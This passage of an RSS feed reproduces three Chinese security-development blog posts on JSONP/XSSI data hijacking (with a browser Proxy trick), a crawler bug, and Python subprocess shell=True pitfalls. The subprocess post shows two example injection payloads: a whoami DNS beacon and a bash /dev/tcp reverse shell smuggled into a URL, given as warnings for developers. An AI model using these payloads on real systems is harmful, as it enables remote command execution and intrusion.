<img src="https://wechat2rss.xlab.app/img-proxy/?k=971b4da9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQk9SK22iaIa3Uxx1icvcl5jSvicfUPjoQ6EVdM0uBUMrOia0iasybtFHicmX6JDOOUP1MjKzKl9nLnVwwKA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p>这是之前写的一篇文章，写到一半拖延了半年<img style="display:inline-block;width:20px;vertical-align:text-bottom;" data-ratio="1" data-w="20" src="https://wechat2rss.xlab.app/img-proxy/?k=544cbc1c&amp;u=https%3A%2F%2Fres.wx.qq.com%2Fmpres%2Fhtmledition%2Fimages%2Ficon%2Fcommon%2Femotion_panel%2Femoji_wx%2F2_05.png"/>...</p><p><br/></p><p>一句话总结：<strong>XSSI漏洞，并非开发逻辑错误而产生的，更应该算是浏览器的漏洞。</strong></p><p><br/></p><p><em><strong>0x00 JSONP劫持漏洞</strong></em></p><p>首先，从大家比较熟悉的 JSONP劫持 开始讲起。举个栗子，某站(xxx.yyy.com)需要从主站(www.yyy.com)跨域加载一些信息，所以有了下面的这段代码：</p><p><img data-s="300,640" data-type="png" data-w="1290" class="" data-ratio="0.30697674418604654" src="https://wechat2rss.xlab.app/img-proxy/?k=8e454dc3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSfhB0IDvicQlC8ZLysicHxHYPGWQrJAYpl7wDwloNsTNhtq39BpOLTV6A5dfXy4ovSjGlu26ARibYVzqeJn0lGQEg%2F0%3Fwx_fmt%3Dpng"/></p><p>但是getinfo.php的代码没有对来源站做检查，再加上script的跨域特性，就让攻击者有机可乘了。攻击代码示例如下：</p><p><img data-s="300,640" data-type="png" data-w="1146" class="" data-ratio="0.21465968586387435" src="https://wechat2rss.xlab.app/img-proxy/?k=32d0f203&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSfhB0IDvicQlC8ZLysicHxHYPGWQrJAYpldxnh1dHN1ibPJBRAAXKbkdBkB7I6Hc7EiaaXiaEQ4HnpQO8lzxKXXnZuQ%2F0%3Fwx_fmt%3Dpng"/></p><p>当用户点击了恶意链接之后，页面解析自动发出请求，然后执行攻击者设定好的代码，该接口返回的信息就被攻击者掌握了。攻击原理可以参考CSRF漏洞，利用姿势参考XSS漏洞，这里不再细讲。</p><p><br/></p><p>这是 JSONP劫持 里比较经典的一个案例。而我们今天要讲的是 XSSI漏洞，跟这个有什么关系吗？</p><p><br/></p><p>都是劫持敏感信息，但劫持的类型不一样。JSONP劫持的是callback函数名可以被攻击者控制/猜测的JSONP接口，开发人员背锅。而<strong>XSSI漏洞劫持的通常是一些AJAX请求的接口，需要配合浏览器漏洞才能成功利用</strong>。</p><p><br/></p><p><em><strong>0x01 XSSI</strong></em></p><p><br/></p><p>XSSI -&gt; Cross Site Script Include，漏洞到底是怎么产生的呢？</p><p><br/></p><p><strong>原因之一，是你用了假的AJAX请求。</strong>从开发的视角来看，AJAX请求只能通过 javascript 里的 XMLHttpRequest 对象发出，且在请求的时候浏览器会自动在请求头里加上 X-Requested-With: XMLHttpRequest。如果后台没有检查请求头里没有 “X-Requested-With: XMLHttpRequest” ，直接返回数据（AJAX失去了做人的尊严<img style="display:inline-block;width:20px;vertical-align:text-bottom;" data-ratio="1" data-w="20" src="https://wechat2rss.xlab.app/img-proxy/?k=d760a0cc&amp;u=https%3A%2F%2Fres.wx.qq.com%2Fmpres%2Fhtmledition%2Fimages%2Ficon%2Fcommon%2Femotion_panel%2Fsmiley%2Fsmiley_0.png"/>），就会出现问题。</p><p><br/></p><p>也就是说，攻击者仍然可以用这种方法去加载存在问题的接口（就像JSONP劫持一样）：</p><p><br/></p><p>```</p><p>&lt;script src=<a href="http://www.yyy.com/getinfo.php??userid=xxx" target="_blank">http://www.yyy.com/getinfo.php??userid=xxx</a>&gt;</p><p>```</p><p><br/></p><p>但AJAX请求返回内容的格式不定，有可能是json，也有可能是字符串、CSV等。举个栗子，json的格式往往是 {&#34;secret&#34;: &#34;secret&#34;}，没有赋值给某个变量，也不像jsonp请求会执行指定函数。攻击者无法直接获取到内容，那到底是什么操作泄露了返回的内容呢？</p><p><br/></p><p><strong>原因之二，是浏览器有了真的漏洞。</strong>15年有国外的研究人员发布文章提到了如下几种攻击方法，可以获取到接口的内容：</p><ul class=" list-paddingleft-2" style="list-style-type: disc;"><li><p>IE bug导致错误信息泄漏</p></li><li><p>通过UTF-16编码获取其它类型的数据</p></li><li><p>chrome/firefox 中 Harmony proxy bug利用</p></li><li><p>穷举</p></li><li><p>csv获取</p></li></ul><p><br/></p><p>我们重点来分析下第三种，通过Proxy的设计缺陷来获取json的内容。产生原因比较经典：因为浏览器新性能导致的漏洞。</p><p><br/></p><p><em><strong>0x02 案例分析——Proxy</strong></em></p><p>先来看下 Proxy 的基本使用方法。</p><p><img data-s="300,640" data-type="png" data-w="778" class="" data-ratio="0.609254498714653" src="https://wechat2rss.xlab.app/img-proxy/?k=18652e1c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSfhB0IDvicQk9SK22iaIa3Uxx1icvcl5jSvnKxmYHo3R4GAVPoBeM4rkvOSxyfojr2fMw2AFbVVqyytSLh8ibHjF9A%2F0%3Fwx_fmt%3Dpng"/></p><p>看起来像webhook，可以更改原有接口的逻辑，截获参数的内容。原本设计应该是为了方便JavaScript的类继承，但黑阔们发现可以用Proxy代理window对象：</p><p><img data-s="300,640" data-type="png" data-w="1038" class="" data-ratio="0.41040462427745666" src="https://wechat2rss.xlab.app/img-proxy/?k=87d938bd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSfhB0IDvicQk9SK22iaIa3Uxx1icvcl5jSvbO2KEmDuicyWYYzQNrgBXe6IctUOAwve8DwiagiamtGhDDCxnflk6sWDw%2F0%3Fwx_fmt%3Dpng"/></p><p>由于 {{target_url}} 是用&lt;script&gt;标签加载的，返回内容会被浏览器当成JS解析，当返回的内容为字符串（xyz）的时候，执行内容类似于 window.xyz。字符串的内容就被Proxy has函数读取到了。</p><p><br/></p><p>现在漏洞已经修复，不能再给window对象添加Proxy代理。修复的过程也比较有意思，出过几次bypass，看来国际大厂的开发哥哥们也喜欢 “指哪儿修哪儿”<img style="display:inline-block;width:20px;vertical-align:text-bottom;" data-ratio="1" data-w="20" src="https://wechat2rss.xlab.app/img-proxy/?k=73ae0202&amp;u=https%3A%2F%2Fres.wx.qq.com%2Fmpres%2Fhtmledition%2Fimages%2Ficon%2Fcommon%2Femotion_panel%2Femoji_wx%2F2_02.png"/></p><p><br/></p><p>具体的案例可以参考： <a href="http://balpha.de/2013/02/plain-text-considered-harmful-a-cross-domain-exploit/" target="_blank">http://balpha.de/2013/02/plain-text-considered-harmful-a-cross-domain-exploit/</a></p><p><br/></p><p><em><strong>0x03 更多劫持方法</strong></em></p><p>Proxy问题只是诸多劫持方法中的一种，更多类型的数据劫持方法可以参考： </p><p><a href="http://www.mbsd.jp/Whitepaper/xssi.pdf" target="_blank">http://www.mbsd.jp/Whitepaper/xssi.pdf</a></p><p><a href="http://bobao.360.cn/learning/detail/3242.html" target="_blank">http://bobao.360.cn/learning/detail/3242.html</a></p><p><br/></p><p>乌云知识库翻译版本： <a href="http://wps2015.org/drops/drops/XSSI%E6%94%BB%E5%87%BB%E5%88%A9%E7%94%A8.html" target="_blank">http://wps2015.org/drops/drops/XSSI%E6%94%BB%E5%87%BB%E5%88%A9%E7%94%A8.html</a></p><p><br/></p><p>更多关于Proxy的用法：<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy" target="_blank">https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy</a></p><p><br/></p><p><em><strong>0x04 影响及修复</strong></em></p><p>漏洞的利用条件：</p><p>* 含有敏感信息的接口没有验证 X-Requested-With 请求头</p><p>* 浏览器非最新版本，或者存在0day</p><p>* 用户点击攻击者的链接</p><p><br/></p><p>修复：</p><p>* AJAX接口统一验证 X-Requested-With 请求头，或者添加响应头 X-Content-Type-Options: nosniff </p><p>* 关服务器跑路（划掉）</p><p><br/></p><p><img data-s="300,640" data-type="jpeg" height="259" style="width: 259px; height: 259px;" class="" data-ratio="1" data-w="640" width="259" src="https://wechat2rss.xlab.app/img-proxy/?k=52b0d5a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQk9SK22iaIa3Uxx1icvcl5jSvh39ANCt7licM4k472ialOZz2vlbVTtG35MmGKbfn3aYRv6FPia1k7f1Qg%2F0%3Fwx_fmt%3Djpeg"/></p><p><br/></p>



<p><a href="2247483679">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=5c9d3dea&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU4NjIxNzkyNQ%3D%3D%26mid%3D2247483679%26idx%3D1%26sn%3D8e3f267c1390d00aec44c1464d9c7136%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 27 Aug 2017 19:31:00 +0800</pubDate>
    </item>
    <item>
      <title>动态爬虫漏抓的案例分析（一）</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU4NjIxNzkyNQ==&amp;mid=2247483669&amp;idx=1&amp;sn=9620692eda7fd734753e9844b9ef57f0</link>
      <description>因为浏览器嫌你 “太快” 导致的漏抓，你能修复吗？</description>
      <content:encoded><![CDATA[<p>
<span>Fr1day</span> <span>2017-08-24 21:16</span> <span style="display: inline-block;"></span>
</p>

<p>因为浏览器嫌你 “太快” 导致的漏抓，你能修复吗？</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=991ccce3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQkP7SJKgTM7iaoy2VEUMCWoOgeibE7h4dWA7x76f3xPrxJIJOoKXIwXkzeQfibj2fAlwl5jk18ia3raqA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="max-width: 100%; min-height: 1em; color: rgb(62, 62, 62); font-size: 16px; white-space: normal; background-color: rgb(255, 255, 255); box-sizing: border-box !important; word-wrap: break-word !important;">安全开发者的小黄鸭，会不定期的分享我在苦逼开发过程中遇到的一些问题、解决方案，以及新的姿势技巧，大多数推送的文章会比较短。</p><p style="max-width: 100%; min-height: 1em; color: rgb(62, 62, 62); font-size: 16px; white-space: normal; background-color: rgb(255, 255, 255); box-sizing: border-box !important; word-wrap: break-word !important;">如果你在安全开发方面有什么问题，也可以直接回复公众号，我会抽时间解答~</p><p><br/></p><p>一句话总结：<strong>触发事件一定要有时间间隔！</strong></p><p><strong><br/></strong></p><p>先来看抓取的页面源码：<strong><br/></strong></p><p><img data-s="300,640" data-type="png" data-w="1172" class="" data-ratio="0.44197952218430037" src="https://wechat2rss.xlab.app/img-proxy/?k=ab1dfcdd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSfhB0IDvicQkP7SJKgTM7iaoy2VEUMCWoO74QSaOBuxibWh2IMOBn7qSqa9QHbrxOOA2bmZjSykQLDyy5eqMttMFw%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>两个&lt;a&gt;标签点击后会分别跳转到 /test4.php 和 /test5.php（抓取时页面已锁定，实际不会跳转，但可以监控到跳转的目标<span style="text-decoration: none;">URL</span>），但<strong>爬虫并未抓取到 <a href="http://localhost/test4.php" target="_blank">http://localhost/test4.php</a></strong>。</p><p><br/></p><p>检查下phantomjs模块的具体调用日志：</p><p><img data-s="300,640" data-type="png" data-w="706" class="" data-ratio="0.3626062322946176" src="https://wechat2rss.xlab.app/img-proxy/?k=bbf74a4d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSfhB0IDvicQkP7SJKgTM7iaoy2VEUMCWoOia4nicEibvqWPAFuhRWXxf9PAAWTrapl3mORYKFfZSILJ9qhEiavaxVicEA%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>可以看到<strong> id=test4 节点对应的事件确实被触发了</strong>，而且还把锚点的变化都记录下来了。但就是没抓到 /test4.php 跳转的请求。</p><p><br/></p><p>原本以为是因为锚点的问题，锚点阻止了后续的事件执行（一个不负责任的脑洞）。但经过一番调试，发现是触发事件的时候出问题了。</p><p><br/></p><p><strong>window.location.href 重复执行的时候，浏览器只会执行后面的一个</strong>，比如这段代码，可以粘贴到 Console 执行下，页面会跳转到 /456。</p><p><img data-s="300,640" data-type="png" data-w="624" class="" data-ratio="0.2564102564102564" src="https://wechat2rss.xlab.app/img-proxy/?k=267f4cda&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSfhB0IDvicQkP7SJKgTM7iaoy2VEUMCWoO54jYUmVkmS3tz2F4ibjlz1k7SXKGZUWicIUHXxCrIZbAY7wkibTINticdA%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>那应该如何解决？<br/></p><p><br/></p><p><strong>重启电脑，然后重装系统</strong></p><p><br/></p><p><img data-s="300,640" data-type="png" data-w="283" class="" data-ratio="1.0070671378091873" src="https://wechat2rss.xlab.app/img-proxy/?k=3192c02c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSfhB0IDvicQkP7SJKgTM7iaoy2VEUMCWoOf6mZb1GIU16AhBp6j559FrmqbuUuUqkuNxn3tVFjTrYicKrFc9QXPfg%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><img style="display:inline-block;width:20px;vertical-align:text-bottom;" data-ratio="1" data-w="20" src="https://wechat2rss.xlab.app/img-proxy/?k=3f262b9f&amp;u=https%3A%2F%2Fres.wx.qq.com%2Fmpres%2Fhtmledition%2Fimages%2Ficon%2Fcommon%2Femotion_panel%2Fsmiley%2Fsmiley_41.png"/>骗你的。触发事件的时候，要留一个短短的间隔。（浏览器： 你太快了<img style="display:inline-block;width:20px;vertical-align:text-bottom;" data-ratio="1" data-w="20" src="https://wechat2rss.xlab.app/img-proxy/?k=d760a0cc&amp;u=https%3A%2F%2Fres.wx.qq.com%2Fmpres%2Fhtmledition%2Fimages%2Ficon%2Fcommon%2Femotion_panel%2Fsmiley%2Fsmiley_0.png"/></p><p><img data-s="300,640" data-type="png" data-w="1242" class="" data-ratio="0.3188405797101449" src="https://wechat2rss.xlab.app/img-proxy/?k=553be2f4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSfhB0IDvicQkP7SJKgTM7iaoy2VEUMCWoOBgkeiaKDqicRjGmaibpnJH8tsKibDrRibrWibByr9a7jYREtrq9gnkHgkZqQ%2F0%3Fwx_fmt%3Dpng"/></p><p>由于 Javascript 的异步非阻塞的特性，还加了个闭包来实现 sleep。</p><p><br/></p><p>如果不想这么做的话，也可以通过 Hook location对象来解决。</p><p><img data-s="300,640" data-type="png" data-w="744" class="" data-ratio="0.271505376344086" src="https://wechat2rss.xlab.app/img-proxy/?k=180a9afb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSfhB0IDvicQkP7SJKgTM7iaoy2VEUMCWoOEKuzILricep3kMHwh1w0Jn1bXB2IibE2mOysLNUzjnhUrTMTgJBR3yfg%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>虽然 location对象 在最近版本的 chrome 里已经不能 Hook 了，但像 phantomjs/qtwebkit 之类的以 webkit 为核心的解析器并不会及时的去更新，实测可行。但从可持续发展的角度来看，<strong>更推荐第一种方法</strong>。</p><p><br/></p><p>因为是浏览器的特性导致的漏抓，所以这个问题不仅会出现在 PhantomJS 中，用其他解析器也是一样的。但解决方案都是通用，大佬们可以检查下自己的爬虫了。</p><p><br/></p><p>实际上，@世琪 老司机很早就跟我说过这个问题了，但是因为一直没遇到badcase，所以一直处于搁置的状态，搁置的久了，就忘了<img style="display:inline-block;width:20px;vertical-align:text-bottom;" data-ratio="1" data-w="20" src="https://wechat2rss.xlab.app/img-proxy/?k=544cbc1c&amp;u=https%3A%2F%2Fres.wx.qq.com%2Fmpres%2Fhtmledition%2Fimages%2Ficon%2Fcommon%2Femotion_panel%2Femoji_wx%2F2_05.png"/>....今天红老师把badcase丢给我，还捣腾了半天才发现问题...</p><p><br/></p><p>想了解更多 <strong>Hook</strong> 和 <strong>触发事件</strong> 相关的，可以点击 <span style="text-decoration: underline;">阅读原文</span>，查看我之前在安全客上发表的文章《浅谈动态爬虫与去重》。</p>



<p><a href="http://bobao.360.cn/learning/detail/3391.html">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=a12e3d72&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU4NjIxNzkyNQ%3D%3D%26mid%3D2247483669%26idx%3D1%26sn%3D9620692eda7fd734753e9844b9ef57f0%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 24 Aug 2017 21:16:00 +0800</pubDate>
    </item>
    <item>
      <title>安全开发之 python subprocess</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU4NjIxNzkyNQ==&amp;mid=2247483656&amp;idx=1&amp;sn=95ef341c5966ba867b3775cdd15ead07</link>
      <description>分享我在使用 python subprocess 进行扫描器开发过程中踩过的坑，以及应用在分布式扫描程序中的时候，可能存在的远程命令执行漏洞。</description>
      <content:encoded><![CDATA[<p>
<span>Fr1day</span> <span>2017-08-22 23:46</span> <span style="display: inline-block;"></span>
</p>

<p>分享我在使用 python subprocess 进行扫描器开发过程中踩过的坑，以及应用在分布式扫描程序中的时候，可能存在的远程命令执行漏洞。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=12864543&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQmHSWGgiaY2lbhLsXtsNtqLsyQSXQ41AEOcPudtzrdErtahcSPlGoAexBAFUxujFqtpybSPIWdJo5A%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p>安全开发者的小黄鸭，会不定期的分享我在日常工作中遇到的一些问题、解决方案，以及新的姿势技巧，大多数推送的文章会比较短。</p><p>如果你在安全开发方面有什么问题，也可以直接回复公众号，我会抽时间解答~</p><p><br/></p><p>一句话总结：<strong>subprocess.Popen 使用的时候，最好是 shell=False</strong></p><p><br/></p><p>ok~今天的主要内容是分析python subprocess模块的应用，以及需要注意的点，首先来看一段基本代码：</p><p><br/></p><p><img data-s="300,640" data-type="jpeg" data-w="1280" class="" data-ratio="0.33828125" src="https://wechat2rss.xlab.app/img-proxy/?k=847f2582&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQmHSWGgiaY2lbhLsXtsNtqLsoibdicEgqtmVr7MNOcsbt18Yw8yeu7SMCXeAjZibzJqkLrckCHzChne5g%2F0%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p>这段代码的作用是用 subprocess.Popen 开启一个基于 phantomjs 的爬虫进程，阻塞等待程序执行结束，使用正则表达式匹配出有效内容后返回。</p><p><br/></p><p>程序做了超时处理，在调用communicate函数的时候指定了超时时间，如果任务超时，会调用kill函数杀掉当前进程。</p><p><br/></p><p><strong>但是在程序运行过程中，出现了多个phantomjs进程驻留内存的问题。</strong></p><p><strong><br/></strong></p><p>一开始怀疑kill()函数失效，为了检查kill()函数是否正常运行，我在 process.kill() 之前，插入了一句print(process.pid)。根据打印出来的pid，进程中并没有 subprocess 进程残留，即打印出来的 pid 和未结束的 phantomjs 进程pid并不相同，且phantomjs.pid = process.pid + 1。</p><p><br/></p><p>似乎是subprocess在调度任务的时候，开启了两个进程，在父进程被kill的时候，并没有kill子进程（或者两个进程之间根本没有父子关系）。那为什么会开启两个进程呢？</p><p><br/></p><p>搜索之后，发现了问题所在。shell=True 参数会模拟在shell中执行，先是起了shell进程，再从shell起了phantomjs进程。调用 process.kill() 之后，只杀死了shell进程。</p><p><br/></p><p>所以解决方案也很明显，把 shell=True 改成 shell=False 即可。但 shell=False 的模式下，subprocess.Popen第一个参数传参需为 list，否则会报错。</p><p><br/></p><p><img data-s="300,640" data-type="png" data-w="1542" class="" data-ratio="0.2243839169909209" src="https://wechat2rss.xlab.app/img-proxy/?k=33da9b33&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSfhB0IDvicQmHSWGgiaY2lbhLsXtsNtqLs1434QpFM3FsPIcDTHkhLU5xic27uweYick0rnF0s7lyNB9QP0RVzE7sg%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>对于原本是字符串格式的命令，可以用 shlex.split 函数来转换成 list。</p><p><br/></p><p><strong>在分布式扫描系统中，启用 shell=True 还可能导致远程命令执行漏洞。<br/></strong><br/></p><p>shell=True模式下，subprocess.Popen函数的第一个参数为字符串，有些同学就会这样写:</p><p><br/></p><p><img data-s="300,640" data-type="png" data-w="830" class="" data-ratio="0.2987951807228916" src="https://wechat2rss.xlab.app/img-proxy/?k=6da8ba18&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSfhB0IDvicQmHSWGgiaY2lbhLsXtsNtqLs5Gd3v7ELmZV8KfWtLA5PN429mURxrGMxCnOZgRqeDfLib3S2nXdYI3Q%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>当你抓取到的URL是这样的：</p><ul class=" list-paddingleft-2" style="list-style-type: disc;"><li><p><a href="http://xxx.com/" target="_blank">http://xxx.com/</a> &amp; ping `whoami`.xxx.nslog.xx ;</p></li><li><p><a href="http://xxx.com/" target="_blank">http://xxx.com/</a> ; bash -i &gt;&amp; /dev/tcp/10.0.0.1/8080 0&gt;&amp;1<br/></p></li></ul><p><br/></p><p><img data-s="300,640" data-type="png" style="width: 236px; height: 236px;" class="" data-ratio="1" data-w="700" width="236" height="236" src="https://wechat2rss.xlab.app/img-proxy/?k=dac0e987&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSfhB0IDvicQmHSWGgiaY2lbhLsXtsNtqLs8NWkz8BTC2wzNYKCtBpc00KsdyxWLvvqIniaoqxSiboZYCto6Z3u3zAw%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>再比如，当你抓取到的URL是这样的：</p><ul class=" list-paddingleft-2" style="list-style-type: disc;"><li><p><a href="http://xxx.com/aaaaaaaaaaaaaaaa(省略十万个a)aaaaaa" target="_blank">http://xxx.com/aaaaaaaaaaaaaaaa(省略十万个a)aaaaaa</a><br/></p></li></ul><p><br/></p><p>如果没做特别限制的话，扫描者的程序可能就被狗带了。</p><p><br/></p><p>当然还有一些其他的反击扫描者的方式，之后会和大家分享~</p><p><br/></p><p><br/></p>



<p><a href="2247483656">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=3c764216&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU4NjIxNzkyNQ%3D%3D%26mid%3D2247483656%26idx%3D1%26sn%3D95ef341c5966ba867b3775cdd15ead07%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 22 Aug 2017 23:46:00 +0800</pubDate>
    </item>
  </channel>
</rss>